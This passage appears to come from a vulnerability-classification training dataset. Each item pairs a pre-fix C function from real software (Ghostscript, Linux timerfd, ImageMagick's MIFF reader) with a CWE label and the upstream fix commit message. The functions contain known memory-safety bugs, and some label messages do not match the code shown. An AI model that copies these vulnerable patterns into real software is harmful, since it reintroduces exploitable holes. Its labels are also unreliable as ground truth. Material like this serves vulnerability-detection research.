Code: i_alloc_struct_array_immovable(gs_memory_t * mem, uint num_elements,\n gs_memory_type_ptr_t pstype, client_name_t cname)\n{\n gs_ref_memory_t * const imem = (gs_ref_memory_t *)mem;\n obj_header_t *obj;\n\n#ifdef MEMENTO\n if (Memento_failThisEvent())\n return NULL;\n#endif\n\n ALLOC_CHECK_SIZE(mem,pstype);\n obj = alloc_obj(imem,\n (ulong) num_elements * pstype->ssize,\n pstype, ALLOC_IMMOVABLE | ALLOC_DIRECT, cname);\n if_debug7m('A', mem, \"[a%d|+<.]%s %s*(%lu=%u*%u) = 0x%lx\\n\",\n alloc_trace_space(imem), client_name_string(cname),\n struct_type_name_string(pstype),\n (ulong) num_elements * pstype->ssize,\n num_elements, pstype->ssize, (ulong) obj);\n return (char *)obj;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Bug 697985: bounds check the array allocations methods\n\nThe clump allocator has four allocation functions that use 'number of elements'\nand 'size of elements' parameters (rather than a simple 'number of bytes').\n\nThose need specific bounds checking.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void send(node_t *node, node_t *child, byte *fout) {\n\tif (node->parent) {\n\t\tsend(node->parent, node, fout);\n\t}\n\tif (child) {\n\t\tif (node->right == child) {\n\t\t\tadd_bit(1, fout);\n\t\t} else {\n\t\t\tadd_bit(0, fout);\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix/improve buffer overflow in MSG_ReadBits/MSG_WriteBits\n\nPrevent reading past end of message in MSG_ReadBits. If read past\nend of msg->data buffer (16348 bytes) the engine could SEGFAULT.\nMake MSG_WriteBits use an exact buffer overflow check instead of\npossibly failing with a few bytes left.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void timerfd_setup_cancel(struct timerfd_ctx *ctx, int flags)\n{\n\tif ((ctx->clockid == CLOCK_REALTIME ||\n\t ctx->clockid == CLOCK_REALTIME_ALARM) &&\n\t (flags & TFD_TIMER_ABSTIME) && (flags & TFD_TIMER_CANCEL_ON_SET)) {\n\t\tif (!ctx->might_cancel) {\n\t\t\tctx->might_cancel = true;\n\t\t\tspin_lock(&cancel_lock);\n\t\t\tlist_add_rcu(&ctx->clist, &cancel_list);\n\t\t\tspin_unlock(&cancel_lock);\n\t\t}\n\t} else if (ctx->might_cancel) {\n\t\ttimerfd_remove_cancel(ctx);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'timerfd: Protect the might cancel mechanism proper\n\nThe handling of the might_cancel queueing is not properly protected, so\nparallel operations on the file descriptor can race with each other and\nlead to list corruptions or use after free.\n\nProtect the context for these operations with a seperate lock.\n\nThe wait queue lock cannot be reused for this because that would create a\nlock inversion scenario vs. the cancel lock. Replacing might_cancel with an\natomic (atomic_t or atomic bit) does not help either because it still can\nrace vs. the actual list operation.\n\nReported-by: Dmitry Vyukov \nSigned-off-by: Thomas Gleixner \nCc: \"linux-fsdevel@vger.kernel.org\"\nCc: syzkaller \nCc: Al Viro \nCc: linux-fsdevel@vger.kernel.org\nLink: http://lkml.kernel.org/r/alpine.DEB.2.20.1701311521430.3457@nanos\nSigned-off-by: Thomas Gleixner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadMIFFImage(const ImageInfo *image_info,\n ExceptionInfo *exception)\n{\n#define BZipMaxExtent(x) ((x)+((x)/100)+600)\n#define LZMAMaxExtent(x) ((x)+((x)/3)+128)\n#define ZipMaxExtent(x) ((x)+(((x)+7) >> 3)+(((x)+63) >> 6)+11)\n\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n bz_stream\n bzip_info;\n#endif\n\n char\n id[MagickPathExtent],\n keyword[MagickPathExtent],\n *options;\n\n const unsigned char\n *p;\n\n double\n version;\n\n GeometryInfo\n geometry_info;\n\n Image\n *image;\n\n int\n c;\n\n LinkedListInfo\n *profiles;\n\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n lzma_stream\n initialize_lzma = LZMA_STREAM_INIT,\n lzma_info;\n\n lzma_allocator\n allocator;\n#endif\n\n MagickBooleanType\n status;\n\n PixelInfo\n pixel;\n\n MagickStatusType\n flags;\n\n QuantumFormatType\n quantum_format;\n\n QuantumInfo\n *quantum_info;\n\n QuantumType\n quantum_type;\n\n register ssize_t\n i;\n\n size_t\n compress_extent,\n length,\n packet_size;\n\n ssize_t\n count;\n\n unsigned char\n *compress_pixels,\n *pixels;\n\n size_t\n colors;\n\n ssize_t\n y;\n\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n z_stream\n zip_info;\n#endif\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Decode image header; header terminates one character beyond a ':'.\n */\n c=ReadBlobByte(image);\n if (c == EOF)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n *id='\\0';\n (void) ResetMagickMemory(keyword,0,sizeof(keyword));\n version=0.0;\n (void) version;\n do\n {\n /*\n Decode image header; header terminates one character beyond a ':'.\n */\n length=MagickPathExtent;\n options=AcquireString((char *) NULL);\n quantum_format=UndefinedQuantumFormat;\n profiles=(LinkedListInfo *) NULL;\n colors=0;\n image->depth=8UL;\n image->compression=NoCompression;\n while ((isgraph(c) != MagickFalse) && (c != (int) ':'))\n {\n register char\n *p;\n\n if (c == (int) '{')\n {\n char\n *comment;\n\n /*\n Read comment-- any text between { }.\n */\n length=MagickPathExtent;\n comment=AcquireString((char *) NULL);\n for (p=comment; comment != (char *) NULL; p++)\n {\n c=ReadBlobByte(image);\n if (c == (int) '\\\\')\n c=ReadBlobByte(image);\n else\n if ((c == EOF) || (c == (int) '}'))\n break;\n if ((size_t) (p-comment+1) >= length)\n {\n *p='\\0';\n length<<=1;\n comment=(char *) ResizeQuantumMemory(comment,length+\n MagickPathExtent,sizeof(*comment));\n if (comment == (char *) NULL)\n break;\n p=comment+strlen(comment);\n }\n *p=(char) c;\n }\n if (comment == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n *p='\\0';\n (void) SetImageProperty(image,\"comment\",comment,exception);\n comment=DestroyString(comment);\n c=ReadBlobByte(image);\n }\n else\n if (isalnum(c) != MagickFalse)\n {\n /*\n Get the keyword.\n */\n length=MagickPathExtent;\n p=keyword;\n do\n {\n if (c == (int) '=')\n break;\n if ((size_t) (p-keyword) < (MagickPathExtent-1))\n *p++=(char) c;\n c=ReadBlobByte(image);\n } while (c != EOF);\n *p='\\0';\n p=options;\n while ((isspace((int) ((unsigned char) c)) != 0) && (c != EOF))\n c=ReadBlobByte(image);\n if (c == (int) '=')\n {\n /*\n Get the keyword value.\n */\n c=ReadBlobByte(image);\n while ((c != (int) '}') && (c != EOF))\n {\n if ((size_t) (p-options+1) >= length)\n {\n *p='\\0';\n length<<=1;\n options=(char *) ResizeQuantumMemory(options,length+\n MagickPathExtent,sizeof(*options));\n if (options == (char *) NULL)\n break;\n p=options+strlen(options);\n }\n *p++=(char) c;\n c=ReadBlobByte(image);\n if (c == '\\\\')\n {\n c=ReadBlobByte(image);\n if (c == (int) '}')\n {\n *p++=(char) c;\n c=ReadBlobByte(image);\n }\n }\n if (*options != '{')\n if (isspace((int) ((unsigned char) c)) != 0)\n break;\n }\n if (options == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n }\n *p='\\0';\n if (*options == '{')\n (void) CopyMagickString(options,options+1,strlen(options));\n /*\n Assign a value to the specified keyword.\n */\n switch (*keyword)\n {\n case 'a':\n case 'A':\n {\n if (LocaleCompare(keyword,\"alpha-trait\") == 0)\n {\n ssize_t\n alpha_trait;\n\n alpha_trait=ParseCommandOption(MagickPixelTraitOptions,\n MagickFalse,options);\n if (alpha_trait < 0)\n break;\n image->alpha_trait=(PixelTrait) alpha_trait;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'b':\n case 'B':\n {\n if (LocaleCompare(keyword,\"background-color\") == 0)\n {\n (void) QueryColorCompliance(options,AllCompliance,\n &image->background_color,exception);\n break;\n }\n if (LocaleCompare(keyword,\"blue-primary\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.blue_primary.x=geometry_info.rho;\n image->chromaticity.blue_primary.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.blue_primary.y=\n image->chromaticity.blue_primary.x;\n break;\n }\n if (LocaleCompare(keyword,\"border-color\") == 0)\n {\n (void) QueryColorCompliance(options,AllCompliance,\n &image->border_color,exception);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'c':\n case 'C':\n {\n if (LocaleCompare(keyword,\"class\") == 0)\n {\n ssize_t\n storage_class;\n\n storage_class=ParseCommandOption(MagickClassOptions,\n MagickFalse,options);\n if (storage_class < 0)\n break;\n image->storage_class=(ClassType) storage_class;\n break;\n }\n if (LocaleCompare(keyword,\"colors\") == 0)\n {\n colors=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"colorspace\") == 0)\n {\n ssize_t\n colorspace;\n\n colorspace=ParseCommandOption(MagickColorspaceOptions,\n MagickFalse,options);\n if (colorspace < 0)\n break;\n image->colorspace=(ColorspaceType) colorspace;\n break;\n }\n if (LocaleCompare(keyword,\"compression\") == 0)\n {\n ssize_t\n compression;\n\n compression=ParseCommandOption(MagickCompressOptions,\n MagickFalse,options);\n if (compression < 0)\n break;\n image->compression=(CompressionType) compression;\n break;\n }\n if (LocaleCompare(keyword,\"columns\") == 0)\n {\n image->columns=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'd':\n case 'D':\n {\n if (LocaleCompare(keyword,\"delay\") == 0)\n {\n image->delay=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"depth\") == 0)\n {\n image->depth=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"dispose\") == 0)\n {\n ssize_t\n dispose;\n\n dispose=ParseCommandOption(MagickDisposeOptions,MagickFalse,\n options);\n if (dispose < 0)\n break;\n image->dispose=(DisposeType) dispose;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'e':\n case 'E':\n {\n if (LocaleCompare(keyword,\"endian\") == 0)\n {\n ssize_t\n endian;\n\n endian=ParseCommandOption(MagickEndianOptions,MagickFalse,\n options);\n if (endian < 0)\n break;\n image->endian=(EndianType) endian;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'g':\n case 'G':\n {\n if (LocaleCompare(keyword,\"gamma\") == 0)\n {\n image->gamma=StringToDouble(options,(char **) NULL);\n break;\n }\n if (LocaleCompare(keyword,\"gravity\") == 0)\n {\n ssize_t\n gravity;\n\n gravity=ParseCommandOption(MagickGravityOptions,MagickFalse,\n options);\n if (gravity < 0)\n break;\n image->gravity=(GravityType) gravity;\n break;\n }\n if (LocaleCompare(keyword,\"green-primary\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.green_primary.x=geometry_info.rho;\n image->chromaticity.green_primary.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.green_primary.y=\n image->chromaticity.green_primary.x;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'i':\n case 'I':\n {\n if (LocaleCompare(keyword,\"id\") == 0)\n {\n (void) CopyMagickString(id,options,MagickPathExtent);\n break;\n }\n if (LocaleCompare(keyword,\"iterations\") == 0)\n {\n image->iterations=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'm':\n case 'M':\n {\n if (LocaleCompare(keyword,\"matte\") == 0)\n {\n ssize_t\n matte;\n\n matte=ParseCommandOption(MagickBooleanOptions,MagickFalse,\n options);\n if (matte < 0)\n break;\n image->alpha_trait=matte == 0 ? UndefinedPixelTrait :\n BlendPixelTrait;\n break;\n }\n if (LocaleCompare(keyword,\"mattecolor\") == 0)\n {\n (void) QueryColorCompliance(options,AllCompliance,\n &image->matte_color,exception);\n break;\n }\n if (LocaleCompare(keyword,\"montage\") == 0)\n {\n (void) CloneString(&image->montage,options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'o':\n case 'O':\n {\n if (LocaleCompare(keyword,\"orientation\") == 0)\n {\n ssize_t\n orientation;\n\n orientation=ParseCommandOption(MagickOrientationOptions,\n MagickFalse,options);\n if (orientation < 0)\n break;\n image->orientation=(OrientationType) orientation;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'p':\n case 'P':\n {\n if (LocaleCompare(keyword,\"page\") == 0)\n {\n char\n *geometry;\n\n geometry=GetPageGeometry(options);\n (void) ParseAbsoluteGeometry(geometry,&image->page);\n geometry=DestroyString(geometry);\n break;\n }\n if (LocaleCompare(keyword,\"pixel-intensity\") == 0)\n {\n ssize_t\n intensity;\n\n intensity=ParseCommandOption(MagickPixelIntensityOptions,\n MagickFalse,options);\n if (intensity < 0)\n break;\n image->intensity=(PixelIntensityMethod) intensity;\n break;\n }\n if ((LocaleNCompare(keyword,\"profile:\",8) == 0) ||\n (LocaleNCompare(keyword,\"profile-\",8) == 0))\n {\n StringInfo\n *profile;\n\n if (profiles == (LinkedListInfo *) NULL)\n profiles=NewLinkedList(0);\n (void) AppendValueToLinkedList(profiles,\n AcquireString(keyword+8));\n profile=BlobToStringInfo((const void *) NULL,(size_t)\n StringToLong(options));\n if (profile == (StringInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n (void) SetImageProfile(image,keyword+8,profile,exception);\n profile=DestroyStringInfo(profile);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'q':\n case 'Q':\n {\n if (LocaleCompare(keyword,\"quality\") == 0)\n {\n image->quality=StringToUnsignedLong(options);\n break;\n }\n if ((LocaleCompare(keyword,\"quantum-format\") == 0) ||\n (LocaleCompare(keyword,\"quantum:format\") == 0))\n {\n ssize_t\n format;\n\n format=ParseCommandOption(MagickQuantumFormatOptions,\n MagickFalse,options);\n if (format < 0)\n break;\n quantum_format=(QuantumFormatType) format;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'r':\n case 'R':\n {\n if (LocaleCompare(keyword,\"red-primary\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.red_primary.x=geometry_info.rho;\n image->chromaticity.red_primary.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.red_primary.y=\n image->chromaticity.red_primary.x;\n break;\n }\n if (LocaleCompare(keyword,\"rendering-intent\") == 0)\n {\n ssize_t\n rendering_intent;\n\n rendering_intent=ParseCommandOption(MagickIntentOptions,\n MagickFalse,options);\n if (rendering_intent < 0)\n break;\n image->rendering_intent=(RenderingIntent) rendering_intent;\n break;\n }\n if (LocaleCompare(keyword,\"resolution\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->resolution.x=geometry_info.rho;\n image->resolution.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->resolution.y=image->resolution.x;\n break;\n }\n if (LocaleCompare(keyword,\"rows\") == 0)\n {\n image->rows=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 's':\n case 'S':\n {\n if (LocaleCompare(keyword,\"scene\") == 0)\n {\n image->scene=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 't':\n case 'T':\n {\n if (LocaleCompare(keyword,\"ticks-per-second\") == 0)\n {\n image->ticks_per_second=(ssize_t) StringToLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"tile-offset\") == 0)\n {\n char\n *geometry;\n\n geometry=GetPageGeometry(options);\n (void) ParseAbsoluteGeometry(geometry,&image->tile_offset);\n geometry=DestroyString(geometry);\n break;\n }\n if (LocaleCompare(keyword,\"type\") == 0)\n {\n ssize_t\n type;\n\n type=ParseCommandOption(MagickTypeOptions,MagickFalse,\n options);\n if (type < 0)\n break;\n image->type=(ImageType) type;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'u':\n case 'U':\n {\n if (LocaleCompare(keyword,\"units\") == 0)\n {\n ssize_t\n units;\n\n units=ParseCommandOption(MagickResolutionOptions,\n MagickFalse,options);\n if (units < 0)\n break;\n image->units=(ResolutionType) units;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'v':\n case 'V':\n {\n if (LocaleCompare(keyword,\"version\") == 0)\n {\n version=StringToDouble(options,(char **) NULL);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'w':\n case 'W':\n {\n if (LocaleCompare(keyword,\"white-point\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.white_point.x=geometry_info.rho;\n image->chromaticity.white_point.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.white_point.y=\n image->chromaticity.white_point.x;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n default:\n {\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n }\n }\n else\n c=ReadBlobByte(image);\n while (isspace((int) ((unsigned char) c)) != 0)\n c=ReadBlobByte(image);\n }\n options=DestroyString(options);\n (void) ReadBlobByte(image);\n /*\n Verify that required image information is defined.\n */\n if ((LocaleCompare(id,\"ImageMagick\") != 0) ||\n (image->storage_class == UndefinedClass) ||\n (image->compression == UndefinedCompression) ||\n (image->colorspace == UndefinedColorspace) ||\n (image->columns == 0) || (image->rows == 0))\n {\n if (image->previous == (Image *) NULL)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n DeleteImageFromList(&image);\n (void) ThrowMagickException(exception,GetMagickModule(),\n CorruptImageError,\"ImproperImageHeader\",\"`%s'\",image->filename);\n break;\n }\n if (image->montage != (char *) NULL)\n {\n register char\n *p;\n\n /*\n Image directory.\n */\n length=MagickPathExtent;\n image->directory=AcquireString((char *) NULL);\n p=image->directory;\n do\n {\n *p='\\0';\n if ((strlen(image->directory)+MagickPathExtent) >= length)\n {\n /*\n Allocate more memory for the image directory.\n */\n length<<=1;\n image->directory=(char *) ResizeQuantumMemory(image->directory,\n length+MagickPathExtent,sizeof(*image->directory));\n if (image->directory == (char *) NULL)\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n p=image->directory+strlen(image->directory);\n }\n c=ReadBlobByte(image);\n *p++=(char) c;\n } while (c != (int) '\\0');\n }\n if (profiles != (LinkedListInfo *) NULL)\n {\n const char\n *name;\n\n const StringInfo\n *profile;\n\n /*\n Read image profiles.\n */\n ResetLinkedListIterator(profiles);\n name=(const char *) GetNextValueInLinkedList(profiles);\n while (name != (const char *) NULL)\n {\n profile=GetImageProfile(image,name);\n if (profile != (StringInfo *) NULL)\n {\n register unsigned char\n *p;\n\n p=GetStringInfoDatum(profile);\n count=ReadBlob(image,GetStringInfoLength(profile),p);\n (void) count;\n }\n name=(const char *) GetNextValueInLinkedList(profiles);\n }\n profiles=DestroyLinkedList(profiles,RelinquishMagickMemory);\n }\n image->depth=GetImageQuantumDepth(image,MagickFalse);\n if (image->storage_class == PseudoClass)\n {\n /*\n Create image colormap.\n */\n if ((colors*image->depth/8) > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n status=AcquireImageColormap(image,colors != 0 ? colors : 256,exception);\n if (status == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if (colors != 0)\n {\n size_t\n packet_size;\n\n unsigned char\n *colormap;\n\n /*\n Read image colormap from file.\n */\n packet_size=(size_t) (3UL*image->depth/8UL);\n colormap=(unsigned char *) AcquireQuantumMemory(image->colors,\n packet_size*sizeof(*colormap));\n if (colormap == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,packet_size*image->colors,colormap);\n p=colormap;\n switch (image->depth)\n {\n default:\n ThrowReaderException(CorruptImageError,\n \"ImageDepthNotSupported\");\n case 8:\n {\n unsigned char\n pixel;\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n p=PushCharPixel(p,&pixel);\n image->colormap[i].red=ScaleCharToQuantum(pixel);\n p=PushCharPixel(p,&pixel);\n image->colormap[i].green=ScaleCharToQuantum(pixel);\n p=PushCharPixel(p,&pixel);\n image->colormap[i].blue=ScaleCharToQuantum(pixel);\n }\n break;\n }\n case 16:\n {\n unsigned short\n pixel;\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n p=PushShortPixel(MSBEndian,p,&pixel);\n image->colormap[i].red=ScaleShortToQuantum(pixel);\n p=PushShortPixel(MSBEndian,p,&pixel);\n image->colormap[i].green=ScaleShortToQuantum(pixel);\n p=PushShortPixel(MSBEndian,p,&pixel);\n image->colormap[i].blue=ScaleShortToQuantum(pixel);\n }\n break;\n }\n case 32:\n {\n unsigned int\n pixel;\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n p=PushLongPixel(MSBEndian,p,&pixel);\n image->colormap[i].red=ScaleLongToQuantum(pixel);\n p=PushLongPixel(MSBEndian,p,&pixel);\n image->colormap[i].green=ScaleLongToQuantum(pixel);\n p=PushLongPixel(MSBEndian,p,&pixel);\n image->colormap[i].blue=ScaleLongToQuantum(pixel);\n }\n break;\n }\n }\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n }\n }\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n /*\n Allocate image pixels.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if (quantum_format != UndefinedQuantumFormat)\n {\n status=SetQuantumFormat(image,quantum_info,quantum_format);\n if (status == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n packet_size=(size_t) (quantum_info->depth/8);\n if (image->storage_class == DirectClass)\n packet_size=(size_t) (3*quantum_info->depth/8);\n if (IsGrayColorspace(image->colorspace) != MagickFalse)\n packet_size=quantum_info->depth/8;\n if (image->alpha_trait != UndefinedPixelTrait)\n packet_size+=quantum_info->depth/8;\n if (image->colorspace == CMYKColorspace)\n packet_size+=quantum_info->depth/8;\n if (image->compression == RLECompression)\n packet_size++;\n compress_extent=MagickMax(MagickMax(BZipMaxExtent(packet_size*\n image->columns),LZMAMaxExtent(packet_size*image->columns)),\n ZipMaxExtent(packet_size*image->columns));\n compress_pixels=(unsigned char *) AcquireQuantumMemory(compress_extent,\n sizeof(*compress_pixels));\n if (compress_pixels == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n /*\n Read image pixels.\n */\n quantum_type=RGBQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n quantum_type=RGBAQuantum;\n if (image->colorspace == CMYKColorspace)\n {\n quantum_type=CMYKQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n quantum_type=CMYKAQuantum;\n }\n if (IsGrayColorspace(image->colorspace) != MagickFalse)\n {\n quantum_type=GrayQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n quantum_type=GrayAlphaQuantum;\n }\n if (image->storage_class == PseudoClass)\n {\n quantum_type=IndexQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n quantum_type=IndexAlphaQuantum;\n }\n status=MagickTrue;\n GetPixelInfo(image,&pixel);\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n (void) ResetMagickMemory(&bzip_info,0,sizeof(bzip_info));\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n (void) ResetMagickMemory(&allocator,0,sizeof(allocator));\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n (void) ResetMagickMemory(&zip_info,0,sizeof(zip_info));\n#endif\n switch (image->compression)\n {\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression:\n {\n int\n code;\n\n bzip_info.bzalloc=AcquireBZIPMemory;\n bzip_info.bzfree=RelinquishBZIPMemory;\n bzip_info.opaque=(void *) NULL;\n code=BZ2_bzDecompressInit(&bzip_info,(int) image_info->verbose,\n MagickFalse);\n if (code != BZ_OK)\n status=MagickFalse;\n break;\n }\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression:\n {\n int\n code;\n\n allocator.alloc=AcquireLZMAMemory;\n allocator.free=RelinquishLZMAMemory;\n lzma_info=initialize_lzma;\n lzma_info.allocator=(&allocator);\n code=lzma_auto_decoder(&lzma_info,-1,0);\n if (code != LZMA_OK)\n status=MagickFalse;\n break;\n }\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression:\n {\n int\n code;\n\n zip_info.zalloc=AcquireZIPMemory;\n zip_info.zfree=RelinquishZIPMemory;\n zip_info.opaque=(voidpf) NULL;\n code=inflateInit(&zip_info);\n if (code != Z_OK)\n status=MagickFalse;\n break;\n }\n#endif\n case RLECompression:\n break;\n default:\n break;\n }\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n length=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q;\n\n if (status == MagickFalse)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n switch (image->compression)\n {\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression:\n {\n bzip_info.next_out=(char *) pixels;\n bzip_info.avail_out=(unsigned int) (packet_size*image->columns);\n do\n {\n int\n code;\n\n if (bzip_info.avail_in == 0)\n {\n bzip_info.next_in=(char *) compress_pixels;\n length=(size_t) BZipMaxExtent(packet_size*image->columns);\n if (version != 0.0)\n length=(size_t) ReadBlobMSBLong(image);\n if (length > compress_extent)\n {\n (void) BZ2_bzDecompressEnd(&bzip_info);\n ThrowReaderException(CorruptImageError,\n \"UnableToReadImageData\");\n }\n bzip_info.avail_in=(unsigned int) ReadBlob(image,length,\n (unsigned char *) bzip_info.next_in);\n }\n code=BZ2_bzDecompress(&bzip_info);\n if (code < 0)\n {\n status=MagickFalse;\n break;\n }\n if (code == BZ_STREAM_END)\n break;\n } while (bzip_info.avail_out != 0);\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n break;\n }\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression:\n {\n lzma_info.next_out=pixels;\n lzma_info.avail_out=packet_size*image->columns;\n do\n {\n int\n code;\n\n if (lzma_info.avail_in == 0)\n {\n lzma_info.next_in=compress_pixels;\n length=(size_t) ReadBlobMSBLong(image);\n if (length > compress_extent)\n {\n lzma_end(&lzma_info);\n ThrowReaderException(CorruptImageError,\n \"UnableToReadImageData\");\n }\n lzma_info.avail_in=(unsigned int) ReadBlob(image,length,\n (unsigned char *) lzma_info.next_in);\n }\n code=lzma_code(&lzma_info,LZMA_RUN);\n if (code < 0)\n {\n status=MagickFalse;\n break;\n }\n if (code == LZMA_STREAM_END)\n break;\n } while (lzma_info.avail_out != 0);\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n break;\n }\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression:\n {\n zip_info.next_out=pixels;\n zip_info.avail_out=(uInt) (packet_size*image->columns);\n do\n {\n int\n code;\n\n if (zip_info.avail_in == 0)\n {\n zip_info.next_in=compress_pixels;\n length=(size_t) ZipMaxExtent(packet_size*image->columns);\n if (version != 0.0)\n length=(size_t) ReadBlobMSBLong(image);\n if (length > compress_extent)\n {\n (void) inflateEnd(&zip_info);\n ThrowReaderException(CorruptImageError,\n \"UnableToReadImageData\");\n }\n zip_info.avail_in=(unsigned int) ReadBlob(image,length,\n zip_info.next_in);\n }\n code=inflate(&zip_info,Z_SYNC_FLUSH);\n if (code < 0)\n {\n status=MagickFalse;\n break;\n }\n if (code == Z_STREAM_END)\n break;\n } while (zip_info.avail_out != 0);\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n break;\n }\n#endif\n case RLECompression:\n {\n for (x=0; x < (ssize_t) 